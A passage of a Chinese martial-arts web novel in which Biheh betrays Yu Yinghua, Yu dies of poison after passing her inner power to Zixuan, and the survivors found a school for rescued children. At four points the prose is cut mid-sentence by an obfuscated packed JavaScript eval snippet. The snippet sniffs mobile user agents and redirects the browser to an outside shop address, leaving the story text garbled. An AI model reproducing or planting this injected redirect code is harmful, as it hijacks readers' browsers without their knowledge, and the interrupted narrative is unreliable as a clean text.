“柳梦姐姐比教习姐姐还要凶呢!孩子们没一个敢动的,就在她的眼皮子地下定定站着。要不是娘过来把我们带出去,我肯定还在那块儿罚站呢!”金花儿吐吐舌头、又拍拍胸脯,仿佛还心有余悸,把乐青澜和墨菊都逗笑了。墨菊也微不可察地动了动嘴角。 “柳梦使了什么计策,你给我们详细说说。”乐青澜喜欢听她说话,便故意引得她多说一些。 “你们去救人了,柳梦姐姐说我们也不能闲着,就和我商量……” 底下的话还没出口,院外就隐隐传来嘈杂的声响。紧接着,柳英跌跌撞撞地跑了进来,脸上还有一道擦伤。 乐青澜随即起身,忙问“怎么了”,过去查看她的伤。 “人!男人!”柳英气喘吁吁,艰难地组织着语言:“被抓来的那些男人,现下闯到各个院子里,见了值钱的就抢,谁敢多问一句就要杀人。他们还……还……” “还有什么?” “还欺负女孩子!” 乐青澜闻言暴起,若不是被紫璇一把扯住,她立即就要冲出去。 “韩大哥和陆大哥呢?”紫璇问柳英。 “他们在救人。还有另一拨人,好像是昨天被抓来的,他们中有人认得韩大哥,这些人帮着他们一起对付坏人呢。陆大哥叫我赶紧给你们送信来。” “那些人到门口了?” “嗯!马上就来。我生怕跑不过他们,被捉了去……”坚强如柳英,面对这种阵势也不禁吓出了眼泪。 “不可能!”主座之上,俞映华终于睁开眼睛,大喝道,“有雪梅看着,有毒药束缚,他们怎么会不听指令,随意抢掠?!” “真没想到,庄主竟然这样信任我们。” 院中闯进来一大队人马,当先的居然是碧荷。 俞映华大惊,想从座上起来却不能够,只能大喊:“你怎么在这?!雪梅和丹萍她们呢?” 雪梅同样是俞映 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13174915|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 华心腹,她的出现让紫璇和乐青澜吃了一惊,还以为她得了墨菊的消息带着人来反攻。可听她和俞映华的对话似乎又并非如此,便狐疑地相互对望了一眼,暂且按兵不动。 墨菊也嗅到不对,惊恐地去看俞映华。 碧荷用中指一下一下弹着手中的剑,笑道:“我亲爱的主人,你口中听话的雪梅已经放了所有的俘虏,现在他们只听我的号令。” “你要反叛。”俞映华鼻息猛地粗重起来,从牙缝里挤出了四个字。 “没错!”碧荷笑得甚是放肆,“我告诉他们,如果他们配合我夺下这个庄子,我就可以把真的解药给他们,给他们彻彻底底地解了毒,还他们自由。” “你真的会给吗?” “哈哈哈哈,主人啊主人,我的一切手段做派可都是承袭自你,要是你,你会真的给他们解药,让他们自由来去吗?” “当然不会。”俞映华也笑了,只是笑得极其狰狞。 “对嘛,不承诺一点儿好处,那些垃圾怎么会为你卖命呢?不过,好处一定不能给多了,还得留一点,让他们不得不继续为你所用才是最佳的买卖。这可都是你教给我的呀。” “我教给你这些,可不是让你用来对付我的。” “为何不可?”碧荷突然变脸,“你能做主人,让人往东他就不敢往西,我也能!我还能做得比你更好!” “原来是看上我的权力了。”俞映华眯起眼睛,眉宇间全是对叛徒的愤恨。 “睥睨左右的权势谁不想要?外面那些酒庄、茶铺、工坊,哪一样不是被我搞得井井有条、蒸蒸日上。凭什么你就可以稳居中央,坐收渔利,我却得在外饱历风霜、谄媚赔笑?!” 对于她的不平和质问,俞映华并不理会,而是问道:“雪梅竟然肯听你的?你用了什么手段,是收买还是威逼?” “哼!恐怕你早就忘了吧,雪梅的爹娘可是你亲手处死的。你自以为救她于水火之间,却从来不知道她对你其实有切齿的仇恨。这样的人,比起威逼利诱,打感情牌更有用一些。”碧荷上前几步,“怎么样?你没教我的,我也会。” “你想要什么?庄主的位子?我可以给你。”俞映华咬牙说道。 “不,你必须死。”碧荷恶狠狠地回道。 俞映华脸上浮起轻蔑:“原来也是个色厉内荏、外强中干的草包!怎么?怕我随便动动手指就能颠覆掉你费尽心思谋划的叛局,重新夺回我的权力?” 碧荷被她戳破心思,恼羞成怒,提剑上前准备斩落,墨菊斜刺里冲过来来替俞映华挡下一剑,身子重重地砸向地面。 芦花的三个孩子亲眼看着她鲜血喷出,纷纷吓得大叫,年纪最小的一个一边哭一边想要跑出屋子。正好落在碧荷可及的范围内,碧荷气急败坏,抬高手臂准备从孩子头上劈下。芦花慌忙撇下死死抱住自己的两个孩子,扑倒小女儿身上,乐青澜见状也飞身来救。 幸好她来的及时,碧荷被她手中的铁钩划伤,本能地跌倒,但芦花背上已被她砍了很深的一道伤口,金花放开另一个妹妹的手,完全将恐惧抛诸脑后,挥着小拳头要去捶打碧荷。 几乎与此同时,俞映华从座上跃起,按动了椅背上的什么地方,地面裂开一个口子,紧接着她便跳了进去。另一边碧荷也已踢开了金花儿,乐青澜追上去,与她斗在了一起。紫璇无暇细想,在洞口关闭之前也跳了下去。 105. 背叛(二) 俞映华冲开穴道,趁着碧荷引起的混乱打开机关进入地道,却没想到身后竟然还跟着一个尾巴。她脚步不歇,看似在地道里横冲直撞,实际上极有章法。此间路径对她来说再熟悉不过,只要她足够快,就能甩掉紫璇到一个无人的地方安心养伤,最多十天半个月,她便能卷土重来,将木兰庄仍然牢牢握在手上。退一步讲,就算是被追上了,以她的功夫,对付一个小姑娘也不是没有胜算。 不过,如今她的两个脚腕受了伤,这般跑动之下,鲜血再度涌出,将敷上的药冲开,还留下了深深浅浅的脚印。紫璇虽然看不到她的身影,但一直跟着脚印前进,也没有落下很远。 地道的出口在一座小山坳里,哪怕紫璇紧追在后,只要俞映华到得此处,便可逃之夭夭,复兴平叛的指望即可保住。然而,这个计划在她奔出地道口的同时就不得不宣告失败了。 因为地道的尽头堵满了二三十个手持武器的人,人群之中还有因为紧张而搓手不停的兰心。 面对此情此景,俞映华不由得刹住脚步,借着山坳中射进来的光,认出这些人中带头的乃是洛南曹家堡的堡主卢金良。 她禁不住笑出声来:“好啊好啊,碧荷还真不是草包,竟然料到我会借地道逃生,安排你们守在这里。兰心打着给我送人才的名号,实际上却是为了这件事来的。” 兰心局促不安,并不敢在她面前说一个字一句话。 卢金良得意地大笑:“许久不见,你就不对你的老东家说点什么吗?” “我早已脱离曹家堡,不再是你的属下,你还是少命令我吧!”俞映华横眉冷对。 “我可没有同意你恢复自由身。” “脚长在老娘自己身上,我要走便走,何需你的同意?” “你背弃主家、私立门户,早就坏了江湖规矩。看在你是个妇道人家的份上,我便不欲追究。谁知你竟然打着曹家堡的名号到处招摇撞骗,我这个堡主若不亲自出马,诛杀叛徒以儆效尤,还叫全江湖以为我曹家堡可欺呢!” “算了吧!就你那点微末功夫,在我面前根本不够看,当年你不能奈我何才龟缩不出,怎么到了你的嘴里反说成是你的大度?再者,曹家堡的名号早就大不如前,我可看不上,你少把屎盆子扣到我的头上!”俞映华斜睨着他,露出鄙夷不屑的表情。 “少废话!今天若不杀了你,这个堡主我让给你做!”卢金良怒火中烧,摆开一副肉掌,纵身扑了上来。 俞映华冷笑一声,也冲了过去。俞映华的掌法比卢金良为高,起初将他压制地死死的,他一再退让,两人渐渐斗到了山坳之中。 然而她多处受伤,奋力奔跑之后气血亏虚,渐渐地便落于下风。四周曹家堡的弟子虎视眈眈,俞映华知道,只要自己身法稍慢,他们便会一拥而上,把自己斩成十块八块。因此即便力不从心,也必须打起十二分精神,应对卢金良一道道递来的掌力。 忽然,身后传来惊呼之声,紧接着几个曹家堡的弟子被人掀翻在地,手中兵刃被紫璇夺取。紫璇右手拿剑,左手使钩,两面开弓,霎时间地上又多了几道滚来滚去的身影。 俞映华信心大增,头脑也更加清明,卢金良伸掌过来,她不再闪避,而是屈膝、矮身、手臂上举、再向外侧转动,将对方的手臂紧紧箍住猛地下拉。 卢金良左臂还能自由活动,即刻间从右肩斩落,想要拂去俞映华紧抓不放的手。俞映华却先于他的动作放手,继而放低身体,右脚向上踢出,卢金良感受到胸前的一股大力,不敢硬拼,立刻避开。 俞映华瞅准机会,疾向后趋,三两下踢到了围在紫璇身边的几个人,随后拉着她冲向地道。紫璇与之配合,又砍杀了追上来的几个人。 就这样,俞映华在前引路,紫璇于后押阵,两人最终跑到一间暗室,俞映华打开机关,拉着紫璇一起钻了进去。 她的血脚印马上就会引来追兵,所以她进到密室后所做的第一件事,是翻开墙边的一个抽屉,从中拿出药箱,和紫璇一边一个,先用干净的布条紧紧缠住自己的脚腕。随后,她做了个手势,让紫璇跟着她,从密室的另一扇门逃了出去。七转八绕后才最终找了一个小房间落脚。 小房间暗无天日,俞映华熟门熟路地找到烛火,叫紫璇点上。紫璇照着她的吩咐点燃了壁上和桌上两处烛火,然后乘机观察周围。 密室应是黄土夯成,触手生凉。她试图回忆起刚刚逃亡的路径,却发现根本办不到。 “为什么要帮我?”俞映华冷不丁问出。 “他们不由分说便要杀了你,也不是什么好人。”紫璇答道。 “我要是死了,不正好遂了你们的意?” “我们从没想过要杀你,”紫璇平静解释着,“我们只想制伏你,让你拿出解药。” 俞映华摇头笑了两声,没再说话。 “曹家堡的人为什么要杀你?”这次轮到紫璇向她发问。 “你竟然认得曹家堡的人?”俞映华大为惊讶。 “我和卢金良有一面之缘。”紫璇只说了一句话,俞映华却突然眯起眼睛,联系起之前种种,问道:“你的针筒是哪里来的?” 不知道她为什么问这个,紫璇一时并未回答。 “有机括能发射银针的武器并不稀奇,可渨了麻药的银针却不多见,”俞映华将她再次仔细打量,最后问道:“难道你是许淑平的传人?” 关于这一点,紫璇倒无需隐瞒:“你猜得不错。” “你是她什么人?难不成是她的女儿?” “晚辈是天魄门文远骥的女儿,许前辈是师祖夫人,算是我的师祖娘。” “切~”俞映华撇嘴道,“狗屁的门主夫人,有什么了不起!” “她本人也并不稀罕‘门主夫人’的名头,是以我们平日里都唤她作‘姥姥’。”紫璇有意维护许淑平,故而解释道。 “姥姥?”俞映华玩味着这两个字,突然笑了,“这么老气横秋的,倒真是她的做派!” “她还好吗?”隔了一会儿,她才又起了话头,语调转为柔和。 “姥姥隐居山间,有一众小辈作伴,过的……还可以。” “你说话支支吾吾,可见她也不怎么开心。”俞映华一语道破,紫璇无法反驳。 “她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13186863|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的一生都叫她那个野心勃勃却没什么能耐的爹给断送了,换做你。你能开心得起来?”俞映华又道。 涉及长辈过往隐私,紫璇不敢妄言,只能沉默不语。 俞映华无奈笑笑,突然怅惘起来:“我比她也好不到哪儿去。” 紫璇向她脸上看去,说不清是痛苦还是愤恨,她的五官古怪的扭在一起。 “我是富阳大户俞家的长女,自小便喜欢习武,后来认识了淑平,也没少和她切磋。她总是规规矩矩的,我很瞧不上,总想带着她离经叛道,和我一起远走天涯,共建一番事业。后来,她嫁了人,我便投到了曹家堡的麾下。 “我是女子,就算武功再好。一般的帮派、门户也不肯收我。当时曹家堡的堡主是卢金良的父亲卢凌峰,他赏识我的才华,便让我女扮男装,替他做些隐秘的事情。随着我立的功劳越来越多,我在曹家堡的地位也水涨船高,他的儿子卢金良便起了嫉妒之心。旁人不知道我的身份,他知道。卢凌峰老了,曹家堡的事情便渐渐交接于他,他得了便利,就设法当众揭破我的女儿之身,还将各种污糟罪名构陷于我,让老堡主厌弃我,从而将我除去。 “我为曹家堡鞠躬尽瘁,奉献了十年青春,竟被他这样侮辱。我拼死逃了出来,可怎么也咽不下这口气,势要重振旗鼓,把属于我的一切都夺回来。” “因卢凌峰交代给我的好多事卢金良并不知情,所以我还有些可以拉拢颠覆的人脉。后来不知为什么他竟然跑去你们天魄门挑衅,非但没有捞到好处还惹了一身骚,我便趁此机会让我安插在堡中的内线掀起叛乱,重创了曹家堡。” “再后来,我带着人在此处建立起木兰庄,以前我没能通过曹家堡达成的目的,务必要在此一一做到,将践踏女子的男人踩在脚下,为后世江湖女子树立一个典范。” 说到这里,她的眼睛对上紫璇的:“可惜,被你们截断了。” 紫璇对此并不回应,毕竟她只愿意看见自己想看见的,和她辩论并没有用。 “不过我不后悔!”俞映华突然站起来,在小小的密室内大步地转起了圈子。 “这一辈子,我从没有在自己想做的事情面前退缩过!想怎么活就怎么活,就算是一朝死了,也无甚可惜!” “一朝死了,也无甚可惜。” 这句话仿佛一记大锤,重重敲在紫璇心上。 俞映华停下来,看着她道:“你年纪不大,还体会不到我们这种已经活了半辈子,开始张开臂膀迎接死亡的心思。” 说着她便大笑起来,可笑了没几声,一口黑血自她的口中喷出,如果不是紫璇及时扶住,她势必会瘫坐到地上。 “你怎么了?”紫璇扶她坐在桌边,忙去检查她的全身,果然在腋下一个极不显眼的地方发现了一枚蛇形镖。不用多说,镖上一定有毒。 紫璇当机立断,封穴、拔镖、剜去伤口腐肉一气呵成。她等了又等,伤口中还是源源不断地流出黑血来。眼见着俞映华已经晕死过去,根本容不得她思考,她几乎是下意识地取过佩剑,在自己腕上划了一下,用力撑开俞映华的嘴巴,让自己的血滴了进去。 106. 拯救(一) 鲜红的血珠一滴一滴地流进俞映华的口中,和她嘴边暗黑色的毒血对比鲜明。慢慢的,原本苍白的面色转为粉红,她猛吸了一口气,呛咳着醒了过来。 “现在怎么样?”紫璇一下一下捋着她的后背,一面帮她顺气一面问道。 俞映华咂摸出嘴里的滋味,头微微一偏,就瞥倒了紫璇尚在往外渗血的手腕,惊叫道:“你!……” 紫璇夺回手腕,取出怀中剩余的伤药单手给自己上药、包扎。 “没事。”看她望向自己依旧不解又难以置信的表情,她解释道,“我自小被喂了各种药物,其中不乏解毒的东西。有一次我偷听姥姥和爹说话,才知道世上一般的虫毒、蛇毒,我身上的血液都可解。我不知道你中的毒是什么,只能试试看。你运气好,竟然奏了效。” 听了这番话,俞映华的不解并没有散去,目光顺着她的手臂向上,瞧见对面稍稍泛白的脸,语气很不客气:“救了我对你有什么好处?” “救你不是为了什么好处。”紫璇包扎完毕,将手举高一些,脑袋还有些发沉,“我只是觉得,你不该死。不管怎么说,你为时间女子谋自立的心不假。单就这份魄力和付出的辛劳,便值得我救。” 紫璇语气恳切,又是看着她的眼睛说的,俞映华一时有些感动,默然咀嚼良久,忽然道:“那又如何,不还是杯水车薪?你们说得对,这世道并不会因为杀几个男的就有所变化。说到底,女子无权无势,根本不可能推翻男人的统治。” 见到俞映华以来,紫璇还是第一次听到她用如此颓丧的语气说话。 “更何况,大部分女子天生软弱,只知依附,不懂抗争。就凭我们个别人的力量,又怎能颠覆这个世道。”俞映华的腰杆渐渐软了下来,眼中满是痛惜和不甘。 “我倒不这样想,”紫璇听了许久,终于开口,“那些女子不是生来就喜欢被人奴役的,只是从小到大生存的环境如此,习惯了。你出自大族,有机会读书习武,眼界和普通人家的女孩儿自然不同。并非你天生优越,只是你比她们幸运而已。” 她停了下来,这些话让她突然联想到了自己,以往她总是抱怨爹娘稀少的疼爱,却很少意识到自己从小到大也有比别人幸运的地方。 俞映华不清楚她的心事,只是顺着她的话点头,然后哂笑:“我自负一生,没想到竟也和骆雁声一样,只看得到自己却毫不在意别人。” 她撑起一点精神,又问:“如此一来女子夺权岂非遥遥无期?你们反对我用强硬手段,可若是单靠个别几个觉醒的女子,我们的好日子什么时候才能到来。” “这条路必定很难走,但再难也不能用强迫的手段。强加的公平不是真的公平,除非她们自己想要。”紫璇想了想,说道。 “何意?” “如果女子自身不能意识到自己可以做人生的主人,你就是再打造成千上百个木兰庄也不会改变现实,她们只会永远是依附者。没有根基的自由只是空中楼阁,只要还想着依附于人,随时随地都能找到可以依附的对象。” 这下轮到俞映华沉默了,良久她才叹了一口气:“我太心急了。” “即便如此,你的所为还是有些成果。至少像墨菊这样的女子,已经明白了自立的可贵。” 俞映华释怀地笑了:“你说的对,我这一辈子,能做到这样也很不容易了,剩下的事就让后人来做吧。” 她抬头转向紫璇:“你用自己的血救我,不怕伤了自己的身体乃至性命?” 紫璇轻轻扯了一下嘴角:“你刚刚说我还没到迎接死亡的时候,你错了。”她稍稍垂下眼睛,不再与她对视,“我的命本来就比别人短,也没有几年好活了。” “怎么讲?”俞映华有些震惊,开始第三次打量她。 “我娘二十五岁就走了。我遗传了她的痼疾,即便小心保养也很难活过三十岁。” “沈淑平精通医术,连她都没有办法?” “没有。这个判断也是她下的。” “她亲口告诉你的?” 紫璇摇头:“她以为我不知道。我娘死后不久,她告诉我爹,即便没有夺门之变,我娘也活不了多久了。我和她体质一样,只会和她有相同的命运。” 即便她语调平静,俞映华还是从中听出了努力压制的难过。 紫璇的血止住了,头晕地没有刚才厉害,她再次去看俞映华腋下的伤口,那里血流变慢,但依然泛出黑紫。 “怎么会!?”她大惊失色,难道这镖上涂的不是蛇虫之毒? 俞映华对此却已然接受,反倒以轻松的口吻道:“我中毒已久,中间为了躲避奔走太多,毒素必然已经沿着经脉深入到我的五脏六腑,即便你的血能解毒,对我也不管用了。” “那怎么办?”紫璇第一次着急起来,她试图拉起俞映华:“我们现在就出去,骆前辈熟识药理,他一定能解毒!” “不必了,”俞映华身子沉重,紫璇根本拉不动。 “一辈子就到这里也挺好的。”她笑了笑,突然出手,扣住紫璇右腕。紫璇便感到体内有一股暖流源源不断地涌入身体。 她诧异地抬头,俞映华和她离得极近,可以看到她的额头上正渗出密密的汗珠。 “我这身功夫,死后带不走甚是可惜,就送给你吧,算是谢你滴血救命的情义。你还年轻,有大把可能,千万不要随意放弃生命。”她缓缓说着,手上力道越发强劲,紫璇的视线慢慢模糊,终于抵受不住,晕了过去。 ********************************* 再醒来时,紫璇已回到了南阳的小当中。 骆雁声替她诊了脉,告诉她身上因打斗产生的几处伤口并无不妥,但是短时间承受了来自外界的强劲真气,一时运化不通,故而晕厥。 “你体质阴寒,多年修习之下积累的真气以阴为本,而俞映华修炼的内功则筑基于阳,两者遭遇必有冲突。”骆雁声解释道,“不过你还不算运气太差,俞映华受伤中毒,所剩的真气不足之前的一半,否则若她将自己全部内力灌输在你的身上,和你体质相异,必然立时将你冲作两段。” “那现在呢?”紫璇小心问道。 “阴阳旗鼓相当,暂无大碍。不过要想二者相协只怕不易。”骆雁声说到这里,问,“你现在是不是提不起来真气?” 紫璇略一尝试,五脏六腑便像同时被人打了一拳,闷闷地疼。 骆雁声看她的表情便知答案,继续道:“我的功力在俞映华之上,可以助你导引。最近这段时间先不要用内力。” “是。”紫璇弱弱应了一声,眉头同时皱起。 “俞映华也是出于好心,只是你体质异于常人才会如此。不过这样也并非全无好处,你的寒症难克,主要在于体质。若有极阳的真气护体,便不会似过往那样容易怕冷,发病也会减少。只是……” 他突然沉吟,紫璇的心又沉了下去。 “以我的内力,帮你抚平两股真气的冲突并不难,但要想从根本上将二者融会贯通,让它们完完全全听你的指挥,只能靠你自己。你们天魄门自有上乘内功,将来用心修炼,这一点不足便能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13210674|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解决。只不过在你攻克这个问题前,动武都要小心。” 紫璇暗暗松了口气,谢过骆雁声。 ****************** 是乐青澜制伏了碧荷,逼迫她打开地道入口,又花了一整晚着人挨个搜寻才找到她还有已经死去的俞映华的。 彼时,雪梅已经身死,抢掠庄子的人也很快成擒。欺负女孩子的被韩仲昌当场诛杀,其余只是抢掠的,被单独关在了一处。另有大部分人其实只是在雪梅的驱赶下做做样子,然后就分散开来去找自己的亲人了,韩仲昌自然也不会为难他们。 骆雁声在偌大的庄子中转了一圈,很快找到能够克制“鬼压床”的药草,便由陆文渊带着梁家湾村的人,按照骆雁声给的制药之法,当天就熬制了草药,除被关押的罪人以外所有被迫服毒的人都顺利地解了毒。 只不过,梁家湾村的人之中,梁二叔和老李叔因为当日没有解药,行动不力,一路上被雪梅抽了好几下鞭子,又有各种打骂,直到如今还在养伤。另有一些在帮忙抵抗抢掠时受了伤,也都在骆雁声的指挥下服药的服药、治伤的治伤。 紫璇被韩仲昌先行带回小院,乐青澜等人则留在木兰庄善后。山庄中四位高阶管事,碧荷、雪梅已死,墨菊受了重伤还在昏迷,丹萍被雪梅迷晕,反倒躲过了一劫。她与墨菊感情甚笃,如今就由她照顾墨菊,也被挪到了小院中。 除此之外,还有一百来个各有职份的女子和不到四十个孩子。乐青澜将其全部汇集在原先庄主所居的正院,告知庄主已死、她们重获自由的消息。接下来的去留则凭她们自愿,如果还想留在原来的酒楼、茶肆和各色店铺赚钱养活自己的,可以照旧做活拿钱。要是想跟随父母家人团聚,或是带着孩子独立出来的,也都听其自便。 她还在丹萍的协助下打开了木兰庄的金库,将其中积储的金银尽数取出,按人头分给了被掳来的男女老少。那些准备独居的女子稍微多分了一点。 还有一部分亲人离散、无家可归的女子和孩童,乐青澜也自作主张,将他们通通带回了南阳城,小院里住不下,她就央求骆雁声出钱赁下隔壁一间更大的院子,给他们做居所。 骆雁声倒不心疼钱,只是看着自己周围一下子多出了这么些叽叽喳喳的人,烦躁得紧,可是当着别人的面又不能发火,只好憋着。一天到晚板着脸,一个笑容也没有。 不过也只有他不快,周婶、王六和阿彬都喜出望外,以往只有他们几个人,骆雁声又是个孤僻的性子,想找个说话的人都难,这下好了,王六做饭的帮手多了,和周婶聊天的人有了,阿彬也因为独特的身形大受孩子们的欢迎。两边院子里进进出出又笑声不断,好不热闹。此情此景,骆雁声再不乐意,也不好说一个“不”字。 至于碧荷联络曹家堡,联合对付俞映华的事,也是紫璇道出后大家才得知。乐青澜在寻人时只在山坳里发现了血迹,但其中空无一人,他们也无从猜想这里究竟发生了什么。 芦花夫家俱亡,自己也不想回娘家,乐青澜就邀请她和三个女儿来院里和他们一起住。 紫璇尚不能下地那几天,芦花总会来探望她,要是她被叫去给王六帮忙,她的三个女儿就会出现,不消停地问东问西,紫璇又不会和孩子聊天又不懂得拒绝,每回都要乐青澜出面将她们带到外面去玩,完了乐青澜还要数落她,说她总爱叫人操心,搞得紫璇百口莫辩,煞是委屈。 至于陆文渊,紫璇很少看到他,他似乎有意避开自己在的场合。既然如此,紫璇就更加不会去打搅,是以这里的人并不知道二人相识。 107. 拯救(二) 紫璇稍稍能够自如活动之后,骆雁声便召集小院里的所有人,一起商量如何安置从山庄中带出来的孩子们。 孩子们人数不多,一共有十一个,大多只有七八岁年纪,其中最大的金花儿也不过十岁。他们中有六个孩子有母亲跟随在侧,这些女子大部分在城中找到了活儿干,还有两个则帮助周婶、王六打点大院那边的起居吃穿,也都不能随时随地陪着孩子。这样终日玩耍吵闹终究不像话,必得寻个法子让他们安定下来才好。 这个不难,乐青澜想起在庄中金花所说的童言童语,提议教孩子们练武,韩仲昌则说“文武兼备最好”,陆文渊在他们两人的建议之上加以折中,道:“字要识,以后能读书,武要学,将来可防身。不过也要看孩子的意愿,不可太过强迫。咱们只教基础,更高深的要不要学、什么时候学,还是要遵从孩子们自己的想法。” 乐青澜率先赞成,韩仲昌也没有什么意见。 韩仲昌是世家出生,颇通文墨,便由他负责教孩子们读书认字,陆文渊从旁协助。乐青澜最想教孩子们学武功,邀紫璇一起。 “你不行。”一直在一旁听着他们各抒己见的骆雁声突然出声。 乐青澜闻言很是讶异:“为什么我不行?我功夫还可以呀。” “练得好不一定教得好,”骆雁声站起来,指着紫璇,“你来教。” “我?”这下轮到紫璇惊讶了,“我……我还不能用内力……” “教几个毛孩子,哪儿用得上内力。”骆雁声打断她,“你性子稳、不苟言笑,必然是个看重秩序规矩的人,有你来教,他们才不至于敷衍偷懒,还有希望上道。” “至于你,”他又指着乐青澜,乐青澜正不服气地瞧着他,“自己的孩子气还没去,和那么多真孩子混在一起,还得了?你给她打打下手还差不多。” 乐青澜还想争辩,骆雁声赶在她前面道:“我问你,金花儿跑来找你,说昨天练了一天累着了,实在不能起来练功,你会怎么样?” “当然要休息……”她回答道一半就哑了火。 “你呢?”他又问紫璇。 “连功需得日日不辍,特别是在打基础的时候。” “你看。”骆雁声说着便又坐了下来。 乐青澜想起自己早年随他学艺的光景,也知道自己面对孩子时肯定会心软,不能给他们立规矩,长远来说百害而无一利,也就不再言语了。 中秋节前,他们把商量的结果告诉周婶、王六、阿彬和其余几个从山庄来的女子,大家一致叫好。第二天就开始收拾布置。赶在十五之前,供十一个孩子一起写字的“教室”就准备好了,当前一张大桌是韩仲昌的,下面还有三张长桌,每张桌子可坐四个人,还能摆放书本和笔墨。 至于学武的地方,现成的院子就可以拿来做演武场,而且他们要从最基本的招式学起,还远远用不上刀剑兵刃,因此武器架子也就没必要添置了。 韩仲昌自去街上书铺购来了《三字经》、《声律启蒙》等开蒙的教材,拉陆文渊在一起鼓捣了许久,定下了后续授课的内容,信心满满,就等第二天学堂开张。 乐青澜哪肯被他比下去,知道他们在用心准备,也赶忙找紫璇商议。紫璇的热情可没有她那么高,况且武学上的开蒙本有定法,教学也不可能像文字那样有所变化,便直接端出了自己年少时学武的经验,乐青澜听了也觉得甚好。 当晚孩子们也都听说了学堂的事情,一个个都兴奋不已,金花儿还被大家遣来探听明日具体要学些什么。乐青澜故作神秘,只说“明儿再告诉你。你只让大家早点睡,别兴奋的睡不着,明天打瞌睡就行。” 中秋那日一大早,所有人都在大院里吃了早饭,骆雁声不惯于人多的场合,吃完饭连句话都没说就走了。 乐青澜在一边嘟囔:“什么嘛,我还指望他能好好勉励一下孩子们呢。” 韩仲昌摇摇头,还是那副漠然神色:“他最不喜欢训话,你忘了?” 乐青澜还想再说什么,却发现孩子们都伸长了脖子往自己这边看,立刻兴奋地站起来,招呼大家往东边大屋进发:“早上第一节课,由这位韩先生和陆先生教你们认字。” 陆文渊拿戒尺在书案上啪啪敲了两下,原本叽叽喳喳摆弄着桌上笔墨纸砚的孩子立刻雅雀无声,乖乖坐定。然后韩仲昌开始介绍以后要如何称呼自己和陆文渊,以及学堂上的众多规矩,孩子们都听得极为认真。 一个时辰之后,文学堂中止,武学堂开业,孩子们都来到院中,韩仲昌和陆文渊也立在场边,要看看乐青澜她们准备怎么教。孩子们刚刚经历了之乎者也的洗礼,老老实实在座位上坐了一个时辰,早就按捺不住想满院子疯跑的心情,不管乐青澜怎么招呼,他们都以为她还是像往常一样在开玩笑,几乎所有孩子都是刚被她揽在臂弯里马上又逃脱出去,费了大半天功夫,队还没整齐。 紫璇见状,连连摇头,韩仲昌也罕见地抿嘴微笑。 这么乱下去可不是办法,陆文渊向她使眼色,让她往背后看。身后是推放柴草的小棚子,她随即会意,从柴火堆里捡起两根又细又长的树枝,隔空抛向陆文渊,顺势踏出一步,以树枝做剑,指向了他。 两人有来有往,只拼招式,不动内力,霎时间吸引了所有人的目光,原本嬉闹的孩子们立马停下来,一个个的看直了眼,只有快被扫到的时候才会急忙退开,不一会儿就在场边围成了一个圈子。 目的达到,紫璇和陆文渊立刻收招。 “想学吗?”紫璇看着孩子们。 “想”“想”“想”,声音从圈子不同的位置传来。 紫璇微微一笑,随即又恢复严肃模样:“想学就要听青澜姐姐的话,先到中间按个头大小排成两队。” 她一声令下,孩子们马上照办,乐青澜从惊讶中回过神来,立刻上前指挥。除却这一个小波折,后面的讲道、示范和演练都进行得很是顺利。 仅仅过了三天,孩子们就已经不再东倒西歪,无论行走坐卧都极为挺拔,和先前判若两人。以芦花为首的妈妈们极是欣慰,不住地感谢他们。小家伙们虽然辛苦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13211040|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,学不会招式也要哭一鼻子,但从不喊累,也不说放弃,十日下来竟然也能似模似样地打出几招拳脚。紫璇瞧着他们的模样,难免回忆起自己小时候为了早一日学会一种功夫不肯服输的模样。 这些孩子们都吃过苦,遭过难,才会有这么强的学习动力,自己当时也是为了多得一点父亲的青睐才那般发奋。虽然出发点不是那么让人高兴,但结果是好的,相信这些孩子们也会像她这样。 想到这里,她突然就释怀了些许,不管怎么说,过去走过的路都没有白费。乐青澜在一旁看到她露出平日里没见过的笑容,问她怎么了。她只是笑着摇头,说她是在为孩子们开心。 